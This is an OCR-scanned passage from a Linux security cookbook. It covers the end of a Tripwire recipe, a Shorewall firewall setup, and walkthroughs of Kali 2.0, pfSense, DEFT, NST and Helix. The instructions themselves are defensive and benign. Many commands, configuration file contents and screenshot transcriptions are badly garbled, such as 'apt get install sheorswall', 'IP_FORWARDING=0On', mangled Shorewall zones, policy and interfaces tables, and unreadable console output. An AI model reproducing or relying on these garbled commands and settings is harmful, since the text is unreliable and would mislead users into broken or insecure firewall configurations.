this, we first create a new file at any location and then we run the
Tripwire interactive command. Once the command completes, we
see in the output that it shows the new file that has been added. This
confirms that Tripwire is working perfectly.

We then edit Crontab configuration to run Tripwire automatically at a
particular interval.



Shorewall

Do you wish to set up a Linux system as a firewall for a small
network? Shorewall helps us to configure an enterprise-level firewall
via standard Shorewall tools.

Shorewall is actually built upon Iptables. However, Shorewall makes
it easier to configure the things.



Getting ready

A Linux system with two network cards installed and working is
needed to configure Shorewall. One card will be used as an external
network interface and the second will be used as an internal network
interface. In our example, we are using etno as the external, and
eth1l as the internal interface.

Configure both cards as per the network configuration. Make sure
that you are able to ping another system on the local network and
also something on the external network, the Internet.

On this system, we will be installing the Shorewall package and then
configuring it as per our requirements.



How to do it...

1. We begin by installing shorewa11 on our system using the apt-
get command:

roct@mvkerberos: % apt get install sheorswall
R Jan;

nformation. .. Done

Sugoested
shorewall-doc
The foLlowing WEW packages will be fns=ltalled:
shorewall
@ upgraded, 1 newly Lnstalled, & to repove and 332 not upgraded
Heed to ge i
atlon, 1,825 additlenal disk space wlll be used.
.u':hl?r.uhu v.comfubuntuy preciscjfuniverse shorewall all 4.4 26

kE Ln 35 (228 kEfS)
ne p1 lﬂqr

C i lddﬁﬁr I|I|1 and dire In|| s currently insballed.)

1 (frem .../shorewall_4.4.256.1-1_all.deb) ...
rrs For ur-;dahl ad: ...

Frocessing triggers for =an-db ...

setting up shorewall (4.4.26.1-1) ...

2. Once the installation is complete, try to start shorewa11. You will

get an error message, as follows:

rocot@nykerberos:~# fetc/init.d/shorewall start
BHEE WNAEMLNG THRE
The firewall won't be started/stopped unless it is configured

Pleasc read about Debian specific customization in
fusr fsharefdoc/shorewalL/README . Debilan.ge.
W R

rootdnykerberos:~# I

This means we need to first configure Shorewall before it can
start running.

3. To configure Shorewall, edit the file /etc/default/shorewall in
any editor of your choice. Look for the line that reads startup=0
and change its value to the following:



# prevent startup wlith default configuration
# set the followlng warible te 1 in arder to allow Shorewall ta starct

sTartup=1

. Next, edit the file /etc/shorewall/shorewall.conf and find the
line which reads 1» rorwarprnc. Verify that its value is set to on:

IP_FORWARDING=0On

. The configuration files of Shorewall are located in the
/etc/shorewall directory. The minimum essential files which are
essential for its working are as follows:

Interfaces

Policy

Rules

Zones

(¢]

O O O

If any of these files is not found in /etc/shorewa11 directory after
its installation, we can find the same files in the directory
/usr/share/doc/shorewall/default-config/.

Copy the required files from this location to the /etc/shorewall
directory.
. Now edit the file /etc/shorewall/interfaces and add the lines as

shown in the following image:

R T A i T T A S e T R T
#E0NE INTERFACE EROADCAST OPTIONS
#

net cthe detect tcpflags,nosmurfs
local elh1 deleclL




We are referring etno as net in our configuration, and eth1 as
local. You can choose any other name as long as it is
alphanumeric and five characters or less.

. Next, edit the file /etc/shorewall/zones. ZOne is mainly used to
set whether to use ipv4 or ipve:

R Y R N S R R S R Y S R S R A N S AR R R RS R R
TYPE CPTIONZ IN ouT
CPTIONS OPTICME

firewall
ipvd
ipva

In the preceding configuration, fw refers to me, or the Shorewall
firewall itself. The next two lines define ipv4 for both the network
interfaces.

. Now edit the policy file /etc/shorewa11/. This file is mainly used
to set the overall policy about who is allowed to go where.

Each line in this file is processed from top to bottom and each is
read in the following format:

If a packet is sent from the to the then it
T T I T T T o e I i T e e T e o e T T o o T TR I
ESOURCE DEST POLICY LOGC LIMIT: COMMLIMIT:
3 LEVEL BURST MASK

net ACCEPT info
T ACCEPT Lnfo

net ALCEP info
Local ACCEPT info

all DROP info

all REJECT Lnfo
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In our example, if we read the first policy, it will be read as—If a
packet is sent from the local to the net then Accept it.

You can add as many policies as you want in the same way, and
the Shorewall firewall will work accordingly.

. Finally, we edit the file /etc/shorewall/rules. This file is used to

create exceptions to the policy. It is mainly used if you wish to
allow people from the external network into the internal network.

A sample rules files is shown in the following screenshot:

BRGHAH R R N R AR R R R N T R
#ACTION SOURCE DEST FROTO DEST
# PORT

ACCEPT net fw tcp 80

We have added the rule which says Accept a packet if it is sent
from the net to the fw, using the protocol of tcp on port number
80.

Once we are done with configuring the preceding files as per the
requirements, we can test the settings by running the following
command:

shorewall check

In the output shown, scroll to the bottom, and if it says shorewal1
configuration verified, it means the settings have been done
properly and that Shorewall can now be used as a firewall:



1.

rantirykerberas: -# shorewall chee
Checking...
Processing fele/shorewall/shorewall.conl. ..
|Loading Modules. ..
Checking Jetc/shorewall/zones. ..
Checklng Jetcfshorewall/interfaces...
Determining Hosts in Zones. .
lacating Action Files...
Checking jusrfsharefshorewall/action.Drop for chaln Crop...
Chi ing Jusrfsharefshorewall/eclion.Broadcast for chain Broadocasl. ..
Checking jusrfsharefshorewall/ection.Invalid for chain Invalid...
Checking jusrfsharefsharewall/action.NotSyn far chain NetSyn. ..
Checking Jusrfshare/shorewall,/action.Reject for chaln Reject...
Checking /elc/shorewall/policy...
dding Anti-smurf Rules

ICF Flags Tiltering...

g Kernel Route Filltering...

Martian Logging...

MaAC Filtration -- Pha=ze 1...
Checking Jetefshorcwall,/rules...
Checking MAC Fillraltion -- Phass 2...
Applying Policies. ..
shorewall configuration verified

Now restart the Shorewall service to apply the settings as
follows:

service shorewall restart



How it works...

We begin with installing Shorewall on the system, which has two
network interface cards.

Once the installation is done, we edit the /etc/default/shorewall file
and also the /etc/shorewall/shorewall.conf file.

Then we edit or create these files in the /etc/shorewall location:
interfaces, policy, rules, and zones. And we add the lines to each file
as per the requirements given.

Once the editing is done, we check if everything is fine and then we
start the Shorewall service to start our firewall.



Chapter 8. Linux Security Distros

In this chapter, we will discuss the following topics:

Kali Linux

pfSense

DEFT — Digital Evidence and Forensic Toolkit
NST — Network Security Toolkit

Helix



Kali Linux

Kali is a Debian-based Linux distribution developed for the purpose
of security testing. With hundreds of penetration testing tools
preinstalled, Kali is a ready to use OS. We can run it off a live CD,
USB media, or in a virtual machine.

With its latest version of Kali 2.0, major changes have been made in
the OS, shifting it to a rolling release model. Now we can simply
install Kali 2.0 on our system and get the latest versions of the tools
in it through normal updates. This means we don't have to wait for
Kali 2.1 to get the latest stuff.



Getting ready

To explore Kali 2.0, download the latest version of it from its official
website - https://www.kali.org/downloads/.

We can download the ISO and then burn it to a CD/DVD or create a
bootable USB device. We can even download Kali Linux VMWare,
Virtual Box, or ARM images from the link given above.


https://www.kali.org/downloads/

How to do it...

Kali 2.0 includes major changes in terms of its updated development
environment and tools. We shall explore these changes to
understand what the difference is:

1. To start using Kali, we can either install it or use it through a live
option. When we boot through the live option, we notice that the
Grub screen has changed and has been made simple to use.

GhU GRUB  wer=iun 2.027hbetyz- 25

=10 NI dnn=
Aovdn_ed _p o for SEedo G L T

5= ~h= [ =nr 1 ke.s 1 aplent nhi~h e=-ry is Fighligated.
Prous zime zu boot the select=d 02, "= 0 ediz tle connmnds
hefore honting ar o for = cowrans- " ice.

2. The main system image of Kali has moved to GNOME 3,
redesigning the user interface. We can notice these changes at
the login screen, which has been re-designed.



Username:

3. The desktop screen which appears after the login screen has
also been re-designed. We can see a snapshot of the new
desktop screen in the following screenshot

Flacas = Tu= 1%5E5

4. When we click on Applications on the top left, we see that the
menu and tools category has been restructured:



Applications - Places - Tue 1255

Favorites :-D |
01 - Information Gathering i

Terminal
02 - Vulnerability Analysis

03 - Web Application Analysis Files

04 = Databhase Ascessment .
mztasploit ...

05 - Password Attacks

; it
06 - Wireless Attacks SEREES

07 - Reverse Fngineearing burpsuite
(08 - Fxploitation Tools

maltego
(09 - Snffing & Spoofing

10 - Past Exploitation beef xss fr..

11 - Faranczics fa"ada‘y IDE

12 - Reparting Toals
Leafpad
13- cial Enginearing Toaols

14 - System Services Tweak Tool

Usual anplications

5. We can also access the tools by clicking on the Menu icon,
which is at the bottom of the sidebar. This way, we can see all
the tools in one go:



6. Kali 2.0 includes a built-in screen casting option which is
actually a part of GNOME 3. In the top right corner, click on the
recorder icon and we get the option to Start recording. Now,
you can make videos of whatever you are doing on Kali with a
single click.

Start recording

Mo audio source

Record all desktop

No delay in the registration

= Options




7. If we wish to access the Settings menu of Kali, we will notice
that it is missing under the Application menu. To access

Settings, click on the Power icon on top right and a menu pops
out.

In this menu, we see the Settings icon in the bottom left.

#  Wired Connected

5y Proxy Mone

¥ Notln Use

‘l root

8. When we click on the Settings icon in the above step, we get
our settings menu as shown below. Now make changes in the
system's settings as per your requirements.



i A =
Applications = Places = P Sebings =

Al Settings G | eaa
Personal
E O O @ 0 &
Rackgraund et Foabions Cinlima Fraacy Ragian & Saarch
Accounts Languag=
Hardhware
4 i R
D m Y B
r: ]
Bluetoath Calar Dizplays teyvbeard Mouse & Mebwark
T.'.h...'hp:r.

) - e ||

Povevier Frintars Saund Wazom Tablat
System
8 O B
Cate & Time Cetalls Sharlng Unhrersal Users
ACCESS

Let's click on Details to see more information about Kali 2.0
9. We can see details about the system in the following

screenshot. This includes information about the GNOME
version.



GNOME

Version 3.18.2

kali

1005.7 MiB
Intel” Core™2 Duo CPU T6670 @ 2.20GHz
Gallium 0.4 on SVGA3D: build: RELEASE: LLVM:
Kali GNU/Linux Rolling 32-bit

n VMware

30.2 GB

Check for updates

Whenever we wish to update Kali, just click on Check for
updates button on the Details window.

10. To continue and check for updates click on Continue Anyway,
or else click on Cancel to cancel the update process.



Package Updater is running as a privi[eged user

Package manzgement applicaticns are securty sensitive.
Running graphical applicationz as = privileged user shoule be aveded
for securily reasons.

11. If your system is already upto date, a message will appear, as
shown below. Otherwise, the available updates can be
downloaded.

All packages are up to date

There are no package updates available for your computer at this time.




How it works...

When we boot Kali 2.0, the desktop screen has changed. We now
have a sidebar on the left side of the screen which helps us to
access applications easily.

The Application menu in the top left corner contains all the tools
under different categories. The applications can also be accessed by
using the Menu icon on the sidebar at the bottom.

Next, we can see that Kali 2.0 now includes a built-in screen
recording tool which can be accessed from the menu on the top
right. In the same menu, we now have the option to access the menu
for system settings.

Then, we see option to check for system updates to keep Kali
updated.

Kali 2.0 has the updated tools included and is built to pull updates
from Debian four times a day to ensure that the system is always up
to date, and also to ensure that the security updates are
implemented on a regular basis.



pfSense

As a network administrator, having a firewall and router in place is
essential. When we talk about setting up a firewall, we have the
option to either simply install a pre-configured firewall from any
vendor or set up our own firewall system.

pfSense is an open source Linux distribution based on FreeBSD and
is specially designed to be used as a firewall which can be managed
easily through the web interface.



Getting ready
Firstly, download pfSense from the following link:

https: //www.pfsense.org/download/mirror.php?section=downloads

Choose the correct computer architecture and platform as per your
requirements.

After downloading pfSense, burn the ISO file to CD/DVD media, or
you can even create live bootable USB media.

We also need a system with two network interface cards to install
and configure pfSense.


https://www.pfsense.org/download/mirror.php?section=downloads

How to do it...

To set up and configure a firewall on our own system, we need to
install and configure pfSense and the following steps help us do this.

1. When we boot our system with the pfSense CD/DVD or USB
device, the splash screen appears as shown below:

lcorme to ypltiewse
. Doot Multi User [Ewter] g
o Bool [S31inglu Usuer E I
3. [Ezclape to loader prompt s ~ E
. Rubowl N Bumue

Lgel i
5. TRIrvrnerl;: kevnel &1 nF 23
L, Lomtigure DBoot LUIptiowns...

Press 6 to Configure Boot Options
2. In the next screen, again press 6 to turn on Verbose. Then,
Press 1 to return to the previous screen.

When back on the first screen, press Enter to boot pfSense.
3. PfSense will start booting. During the booting process, we get a
screen as shown:

I 'rezz | tn enter recnuery mnde ne 0
[ press 1 to launch the installer 1

(Rlwcuvwry rmuolde vcon axzisl by roccoinyg confiy, =2ml
trom & brokewn hard disk installation, etc.

(llmstallcy Hav be Iwvoked wod 1E poun do
ol wizh Lo boul jole Lhe liowll cwsirunmenl al Lhiz Limo.

() eontinnes the Livelll hnntnp withoot Forther pooze.

Timcout bofore avto boot cowtlnucs (secondsh: El




10.

Press I to install pfSense. Choose the option quickly within the
20 seconds count.

. The next screen asks to configure console. Choose the option

Accept these settings and press Enter to continue.

. In the next screen, choose quick/Easy Install if new to

pfSense. Otherwise, you can choose custom Install for more
advanced options during the installation process.

. Press ok to continue with the installation. The installation

process will start now.

. During the installation, you will be asked choose which kernel

configuration to install. Select standard kerne1l as we are
installing pfSense on a Desktop or PC. If installing on an
embedded platform, such as router boards, we can choose the
option Embedded kernel.

. After this, the installation will continue. Once complete, select

Reboot and press Enter to complete the installation.

. During the reboot process, the default username and password

of pfSense will be displayed as shown:

=0EFAULT Usermarme=: admin
=NEFAILT Pas=zunrid=x:. pfzepn=e

Rcbooting in 5 sccowds. CTRL-C to abort.

After rebooting, we now have to configure our interface cards
according to the network configuration. The names of the two
interfaces will be displayed as shown. These names may be
different in your case.

Unlid interfaces ore:

1=A ARCAG 2911 .94 5 (i}
lel HA:Bc:29:b1:04:6E6 (up)
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12.

13.

14.

15.

Now you will be asked po you want to set up VLANs now. Enter
n for no at this moment.

Now we need to enter the interface name to be used for WAN.
In our case, it is 1e0. Enter the name as per your configuration.

Next, enter the name of the interface to be used for LAN. For
our example, itis 1e1.

Enter the WAN interface name or 'a’ for awto-detection
(1ed 1lel or al: 1ed

Enter the LHN interface name or 'a’ for aufo-detection
HOTE: this enables full Firewalling~MAT nHOode.
(1el a v nolhing il Finizhedd: luil

Then, press v to proceed with the settings.
Once the interface have been set, we will get the pfSense menu
as shown below:

®¥xx LWelenee tn pfSense 7.2 0 RELENSE rdrom (38R an pfSense xxs

HAH {Han? -+ lcA -+ w1<DHCP1: 192.168.1.18L-21

LAH {lanl -» lul -

B Luyuvml (33H uvnly) 9) plTuyp

1k As=zign lIlnterftfacesx 1] Filter Logs

21 bet interfacefz) LF sddress 11] Hestart weblowliguratar

A1 Nemet wehfDomfiguratnre pas " 121 pfRenzr NMevrlaner Shell

41 Nezet to factory defoults 131 Upgrode frod console

5 Heboot zustod 14) Ewablc Secure Sholl (szhd)
6 Halt sy 151 Restore recont confilguration
7y Pi U 16] Bwxlacl PHP-FPH

81 :

I Inztall pfxenze tn a hard drive, etrn.

Entcr am optiom: [

If the IP address for WAN and LAN interface is not set properly
until this step, we can set the IP address manually by choosing
option 2 from the preceding menu.

Choose the interface to configure and then provide the IP
address for it



Ewter an option: 2

Ao ilable inlerlavus:

1 - HAH (leB — dhecp, Ahcpel
2 - LAN (lel — slalic)

Entcy the nunber of the intceface ywou Wish to conflgurec: 1
Comf igure IM'vd addrezs HOIM interface wia DHCET'? (wesnl) 0

Ewteyr the wnew HHH LFu4 addres=z. Prezs {ENTEHY* far nane:
> 192.168.1. 1141

16. Next, enter the subnet and the default gateway:

Entnr the now UAH 1Puqd sphmnt hit connt 01 tn 317
» o4

For a HHAM. ewnter the new LAH 1Pwvd upstream gateway address.
Fur 4 LAHW, ; <ENTER> fur munw:
» 192,465, 1. 1]

17. Follow the same steps for the LAN interface. When done, a link
will be shown onscreen which can be used to access the
pfSense webConfigurator interface.

The ITwd LAH addrezs haz heen set tn 107 1RR.1. 11574
You can moW accezs the webConflgueotor by openlng the followiwg URL 1w pour web
broHeeay !

httpr 21492 100, 1, 1107

In our case, it is—http://192.168.1.115

18. Now access the preceding link from any browser on a system
on the same local network as the pfSense system. Once we
access the link, we get a login screen, as shown:



= & 192.168.1.115 *@| B~ coogle a I 4

Enter the default username aanmin and default password pfsense
to log in. These details can be changed later after logging in.

19. Once logged in successfully, we get the main dashboard of
pfSense.

T T omaimiis ¢ | &lr Qws
T

¥ - ; B
 MAma s [ bt
T T
. Varsion D Ne-HINT AN fan 1331681114
L ol N P He B oo | B L
b i wolimade:
Te 60 L0 I-RCNT 22t AR ¥ T
farwa w e kilal sawe,
Plalburm e
! R S et 1 A TR S (e B Sk LTI
v St ZTOH G Ha 2L
- Mindwic: LTI S ST B T TT o
: M““_‘fltm “or P22 3 L7220 15T 2045

& (a1 1rand




How it works...

We boot from the pfSense CD/DVD and then choose the option to
install the OS on our system.

To install pfSense, we use the option 1 during boot and then we use
Quick/Easy Install. After the installation completes, we set up the
two interface cards. The first card is configured according to the
outside network, using the option set interface IP address from the

menu. Then, we configure the IP address, subnet, and gateway
address.

Next, we repeat the same process for the second card, which we
configure according to the local network.

Once the configuration is done, we can use the IP address of the
second card to access the web interface of pfSense from any
browser on the same network system and customize our
router/firewall as per our requirements.



DEFT - Digital Evidence and Forensic
Toolkit

While performing computer forensics, it is important that the software
being used is able to ensure the integrity of file structures. It should
also be able to analyze the system being investigated without any
alteration, deletion, or change to the data.

DEFT is designed for forensics and is based on Lubuntu, which is
itself based on Ubuntu.



Getting ready
DEFT can be downloaded from this link:

http: //www.deftlinux.net/download/

Once downloaded, we can burn the image file on CD/DVD media or
create a live bootable USB media.


http://www.deftlinux.net/download/

How to do it...

To use DEFT, we need to get an overview of what is included in the
OS:

1. Once we boot DEFT CD/DVD or USB media, we get the boot
screen. Firstly, we need to select the language. Once done, we
can choose to either run DEFT live, or else we can install DEFT
on our system.

2. In our example, we have chosen to boot DEFT live. Once
booting completes, we get the home screen of DEFT.

3. Now, let's understand the different tools available in DEFT.

4. In the start menu, the first sub-menu under DEFT contains a list

of various Analysis tools.

L¥Terminal cvidence

& AUtopsy
B Bulk Extractor
B sulk Extractor GuI
"% Catfish File Ssarch
! % DFF
B pumpy
File Manager B DumpZilla
B Emulelorensic

H B Csedbexport

Findwild

- WIH _ ' 'Y B8 GHex
. Grahiﬁ B Antimalware r B Lnkinff‘.- |
B internet > = Data liccovery » B Log2TimeLine
B office p| = kashing b B Lsink
B Programming » £2 Imaging p B mhonarc
& Service N B moblle Forenzlcs p B Qutguess
B sound & vides p & Metwaork Forensics p B Pasco
B wine N =4 OSINT p B Readdbx
@ Password recovery p B Readpst
[l syslem Tools P % Reporting toals p o Recoll
|4 Preferences b |5l Disks B Regripper
' o ~ |Z1 File Manager PCManrM B Rifiuti 2
"% cParted B Rifiuti-Vista
= Logouk @ Midnight Commander B skype exlractor

el =% [ o = MountManager P S




5. The next sub-menu shows all the anti-malware tools:

I > ﬁ
® aralysis

—— < Artimal B apktool
; rtimalware apktoo
P Craphics p - P ;
B Internet b =2 Caka Recovery P B chkrootkit
- Rashing P = ClamThk Anlivirus
B offic = = :
! = ; 4 = Imagin > JD Gui
| Programming e ¥ RS
& Service > E Meobile Forensics ¢ B Pdfparzer
Bl sound & video p Network Forensics P B Rkhunter
@ wine p & OSINT 4
@ Password recovery [ 3
& system Tools P = Reporting toals 2
[ Preferences P 2 Disks

|=| File Manager PCManFM
| crarted

@ Midnight Commander
= MountManagcr

Run

6. Then, we have the sub-menu of tools related to Data Recovery.

] Accessorizs
DEFT % Analysis
P Graphics . Anlimalware
& Internet } B Foremost
Office b _j Hashing P B Myrescue
i Programming p = Imaging b B Photorec
& service b ® moblile Forensics » B photorec sorter
il sound & video b ' Metwork Forensics b B Testdisk
& wine | Lo 4
¢ Password recovery 3
System Taols b & Reporting tools »
[l Preferences b |2 Disks
o |=| Flle Manager FCManFm
= cPrarted
= Logout @ midnight Commander

= [ &, = MountManager




7. The next sub-menu contains a list of different hashing tools
which can be used to check and compare hashes of any file.

|| Accessories

>

I Graphics B Antimalware F
E irkernek } ‘1— ata HE‘[DU’EF_‘,

m B ohash?

%. Analysis

B sha256deep
B sha256sum

¢ PMassword recovery

il Programming % Imaging F B mdsdeep
& service 2 Mobile Forensics b B Mdssum
B sound & Video W Network Forensics b} B shaldeep
B wine #4 DEINT b B shalsum
}
»

& system Tools L+ Reporting tools

vw vy wvyw

lial Preferences |2 Disks B shaS12deep
o |=/ File Manager FCManFm B ssdeep
™ crarted

@ Midnight Commander
Ta[@ = = MountManager

8. In the next submenu, we get tools for imaging. These can be
used during a forensics investigation to create an image of a
system disk which needs to be investigated.



L Accessories >
p— b % Analysis 2
I Graphics > Bl Antimalware 3
B internet > £ Data Recovery 4
B Office N % Hashing b B Cyclore
B e @ ocd
& service > E Mobile Forensics P B Dclldd
Bl sound & Video N ‘' Nebwork Forensics P B Ddrescue
B wine p OSINT P B Dd rescue
@ Password recovery P 2 Dhash2
& system Tools P = Reporting tools » B Dislocker
4| Preferences P = Disks B Esximager
- |=l File Manager PCManFM B EwfMount
% GFarted © Guymager
@ Midnight Commander B vmdkmnt
=] MountManager B Xmount

9. With the release of DEFT 7, tools for the analysis of mobile
devices have also been added. These can be found under the
sub-menu Mobile Forensics:

|5 Accessories

p— =, Aralysis 2
P Graphics B Artimalware ]
B Internet £ DalaRecovery b
Office ‘= Hashing 2
= Programiming f Imaging r
<4 . 2 ach
il sound & video b ‘o Netwnrk Forensics F B apktool
Bl Wine p 4 OSINT b B BiLFiIm
@ Password recovery F B Fastboot
i@ system Tools P Reporting tocols P Bl iDevice Backup 2
[iiy Preferences P Z Disks B |pddump
Run |=! File Marager PCManFM B iPhone Backup Analyrer
™ GParted B sglites
Z Logoul @& mMidright Commander = sQLite database browser
m ?E_‘,,, = = MountiManager




10. The next sub-menu contains the Network Forensics tools.

L] Accessorizs b
BEFT b : Analysif :
: Antimalware
5 :'-:_E[::f Z DataRecovery 4
& Office & Hashing 3
@ Frogramming = Imaging 4
& Service F Macbile Forensics 3
Bl sound & video b # Network Forensics 3 B capAnalysis
B wine #4 OSINT P B Nmeap
@ Password recovery b Bl wWireshark
System Tools b Reporting tools » B xplico
54 Preferences P |2 Disks
Bin |=! File Manager PCManFM
= GParted
= Logout @ midnight Commander

ﬁm .Ei_.'_'m:_ = MauntManager

11. The next menu OSINT contains the open-source intelligence
tools.

5l Accessaries b
DEFT > % Analysis r
B Graphics > B antimalware I
B internet b T DataRecovery b
B office p - Hashing r
&l Programming b {f imaging 4
s y| B Moblle Forensics g
i Sound & Video > «w Metwork Forensics bk . A
B wine > & Aromymouse Website
@ Password recovery ¥ @ creepy
B system Tocls P i Reporting tools » B cooglechrame
5 Preferences P |2l Disks k2] maltego
RUn |=| File Manager PCAMaNFM 4 Tor Browser
= crarted
& Logout @ Midright Caommander




12. DEFT also contains tools for Password recovery, which can be
found in the next sub-menu.

I Accessories 4 & nigiic

F ahi:s ! Antimalware

E Hibarrsiss N = Data Recovery

Office b w Hashing

& Pragramming p | % Imaging

B cervica b 8 Mmobile Forersics

B sound & Video b = Network Forenslcs

H Wine b -rﬁ OSIMT
ﬂ cmospwd

& system Tonls P % Reporting tools B Cupp

L& Preferences P & Disks H Fcrackzip

- [=! File Manager FCMarFM B ohnthe Ripper

'™ GParted B pdfcrack

= Logout @ midnight Commander B samdumpz

Ei:A B & =) MountManager 2 XHydra

13. Apart from the preceding categories of tools, DEFT contains a
few reporting tools, which can be useful while creating reports.

& Accessories

_ S A !

P Craphics N ! antimalware 4

& internet p = Caka Recovery b

B Office p | % Hashing >

% Programming | & fmaging :

& Service > B mobile Forersics 3

i sound & Video b i Network Forensics 4

B wire p <L OSINT 4
@ Password recovery b

B system Tools @ Grab screenshot

&l Preferences P = Disks B Ke=phote

= |=ll File Manager PCManFM # Mobius Forersic

2 cparled @ RecordMyDesklop

@ Midnight Commander & SciTE Text Editor
= MountManager & VYM - View Your Mind




14. DEFT uses WINE to execute Windows tools under Linux, and
the option for WINE can be found under the main menu.

|l&] Accessories 2
5, DEFT >
B Graphics b
k&l Internet »
Office b

>

>

>

& Programming
& Service
B sound & video

T (- programs »

[&] Browse C: Drive

[@ System Tools A ] 3
_ y & Configure Wine
|24 Preferences >

[ Uninstall wine Software
Run winetricks

& Logout
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How it works...

We either install DEFT or use the live CD option to boot it on our
system. Once booted, we go to the start menu and then we move to
the DEFT menu. Here, we find various tools under different
categories. We can use tools for analysis, data recovery, mobile
forensics, network forensics, and so on.

WINE is used in DEFT to execute Windows applications here.



NST — Network Security Toolkit

Linux has many distributions developed mainly for the purpose of
penetration testing. Among them, one is Network Security Toolkit
(NST), which was developed to provide easy access to open source
network security applications in one place.

NST is based on Fedora Linux and contains tools for professionals
and network administrators.



Getting ready

NST can be downloaded from its webpage or directly from this link:

http: //sourceforge.net/projects/nst/files/

Once downloaded, we can either burn the ISO on a CD/DVD or
create a live bootable USB media.


http://sourceforge.net/projects/nst/files/

How to do it...

Using NST for penetration testing becomes easy when we have an
idea about how to use the OS and also what the tools included in the
OS are:

1. To use NST, the first step is to boot the system with NST. We
have the option to either boot using the live option or directly
install NST on the system. In our example, we have chosen the
live boot option. You can choose any option as per your
requirements. Once booting completes, we get the default
desktop of NST, as shown here:

Install NST To Hard
Drive

)

Set N5T System
Passwords

2. NST comes with a web user interface, which is a kind of control
panel to do anything with NST. However, this can be accessed
only when the existing user account has a password set. To set
the password, we click on the icon Set NST System Password,
which is on the desktop. This will open a terminal window and
will give you the option to create a new password:



Inew ws1 Fascword:

Retype new psssword:

Changing pacsword for user root.

Iprsswd: a1l anthenTication tokens apdated successto ly.

Swccess[u”ly upddaled password fur 'ruol’ o Jele/chadows

Changimg pacsword for user nst.

Ipasswd: a. 1 anthentication tokzns wpdated successto. ly.

Success [uly updaled passward Tur 'nsl' Lo Sele/shadow

Luccessfully updated passwWord for 'root' im secosnstTy/httpdy confshtuser.nst
Successfully updated passward for 'nagiosadmin' in Setc/nst/httpd/conf/htuser.ns
Successti.ly updated passward for 'root' oan JeteSNackapPC/apache . nsers
Success (o ly updaled password fur 'rool’ e Jelc/webnin/miniseny. usurs
successfully Addcd id dsa.pub to 'authorized kevs' Tilc Tor "vpn®

Successfu_ly Addad 1d rsa.pub to 'authorized keys® fTils for ‘wvpn'

Successfully Updated 'suthorized keys' file for 'wenm!'

surcessfiully het fanthnrized keys' fite mwner and rode

Success[ully updaled password [ur 'ruol® im Frools_ssh

successfully updoted passwWord for ‘root” im /frootys.vnc/pascwd

successtul ly updated passward for 'root/administratoar® in deteSsambadsmbnasswd

. Once the password has been set, we can access NST web user
interface from any browser of our choice. To access on the local
system, we can use the address,
http://127.0.0.1:9980/nstwui.

If accessing from any other system on the local network, then
use the IP address of the system running NST.

7. Authentication Required -

A earn i pesewn ol e besogg eoquesalonl by BHpcg 27 0006120880 The sl soges:
"NIET WU System Management”

u'ser Hamsa:

ARET (TN

el 4“"-‘! i, 4

Once we open the link, we are prompted for the username and
password. Enter the details and click OK.

. Now we see the landing page of NSTWUI. In the top left corner,
we can see the details of the system running NST. Below this,
we have the menu of NST.



- . localhost. localdomain
F y
% E @ % 127001

We can also see information about how long the system has
been running in the top right corner.

Up: O days, 4:13 -::::.:;::-- T NST
Load: 13.06, 11.81, 7.03  |Linux )

i
Metwork Security Toolkit ™

. NST comes with various tools and amongst those, is
bandwidthd. This tool shows an overview of network usage and
we can enable it by going to the menu Network | Monitors |
bandwidthd Ul
MR Sccurity Database X

ickage management m—




6. Once we click on "Start Bandwidthd", the tool will start running.

7. Another important feature available is the ability to perform a
remote activity via SSH using the web interface. Go to the menu
System | Control Management| Run command.

A window will open as shown in the following image. We can run
any command here.
Execute Linux Commands Tttt

JroolEdl2 F00L inel i

8. NSTWUI also allows the administrator to remotely reboot or shut
down the server from the web interface. To do so, go to the
menu System | Control Management | Reboot.

9. Click on Proceed to reboot this NST system to confirm.
Otherwise, click Exit to cancel.

10. In the next screen, enter the text as shown and press Ok.

| w Text Confirmation Dialog
e Confirm 1o Rehoot this NST system (probe-enol8777736]7

To confirm please enter the following fext "nesez"

|nesez




How it works...

After installing or booting NST, the first step is to set the password
for the existing user account. This is done by using the option Set
NST System Password.

After setting the password, we access NST through the web user
interface by accessing the IP address of the system through any
browser.

After logging in to NSTWUI, we get a list of various tools related to
network security.

We explore a few tools, such as bandwidthd and SSH.



Helix

When performing forensic analysis, we have to look at the filesystem
at a minute level and analyze many things, such as the execution of
programs, downloading of files, creation of files, and so on.

In such situations, its best to create a forensic image of the disk to
be analyzed as soon as analysis starts. Helix is the best option for
creating such images.

Helix is a Linux-based live CD used for the purpose of forensic
investigation and incident response.



Getting ready

Helix is available in both free and commercial forms, and its free
version can be downloaded from the following link:

http: //www.e-fense.com/products.php

Once downloaded, we can either burn the image file on a CD/DVD,
or else we can create a bootable USB media.


http://www.e-fense.com/products.php

How to do it?

To demonstrate the use of Helix, we can either install it on our
system, or else we can use the live CD/DVD or USB media, as
follows:

1.

To use Helix, we boot our system using the live CD of Helix.
From the first screen that appears, we select the option Boot
into the Helix Live CD to directly boot Helix. You can, however,
use the option Install Helix if you wish to install Helix on the
system.

(S ) &

Incident Hespanse, Electronic Discowvery, Lomputer Farencics Lise LD

Boot into e HoZix Live 2D

Buol fre_i fir=Lhisrs U=k
I'=ldll Felix

Sragz Fd tC select alternative star-udand Inst3allstlch rodes.

1Rl Tolangnage M Eeumap T4 M-d== T Arcess-hi ity [0 Oth=r Op-inns

Now, the first step to perform during incident response is to
create an image of the hard disks/storage so that it can be
investigated later. To create a bit-by-bit copy of the hard disk, we
will use a tool named Adepto available in Helix.

. To open Adepto, go to the start menu and then under

Forensics & IR, we get the tool.



@ Applications Places System @/ 9

1y recessorics [

. Forensics & IR r @ Adepto
_‘9_"’- Graphics b @Autcpsy
W Internet » @- Eless Hex Editor

4. When Adepto starts, we get the main screen of the application.
We can enter the username or leave it blank and click on Go to
continue.

5. The next screen shows information about the device we would
like to copy. Select the device from the drop-down menu and we
get all the information about that device. In our case, we have
selected the USB device we want to copy.

Rastore/Clane | Leg |

3tart| “zvlce Infa | Acqulrs

e
e a e 8 & = B

1
IDE UsSE Fimewrine RAID CDIiDVD Menry Sl
Stick. hedia
Device:  |sdci 14 [Fesar Devises]
b | SenD sk

Model: [Cruzer Slade

Sarial Humber: flrc53m:|:|1 27100710843

dize: EI]EIEICI By A S 070G D

wize (Bytes): [aUlG2obizl 3}

Sectors: !15531350

System Dus: |ush@Z:2




6. Now we click on the Acquire tab at the top to continue. Now we
need to provide the source and destination information. Once
done, press Start to continue:

stan| Devic Infc | Acoure Sestcre/Cione Lag | |

Source Information -

Source Device: |sdz” airl: SanMisk
. e Modeal: Cruzer Dlade
Imace Mlame |sdcl-img.de S \j Qe #NN3 WA
DxzGT20736h
Imace Motes:

— Destination Information -

Deslinallon: 4 Atacked - Metblds - Meca

oL Peint: {smedizezdb | |[:_'.‘
Options
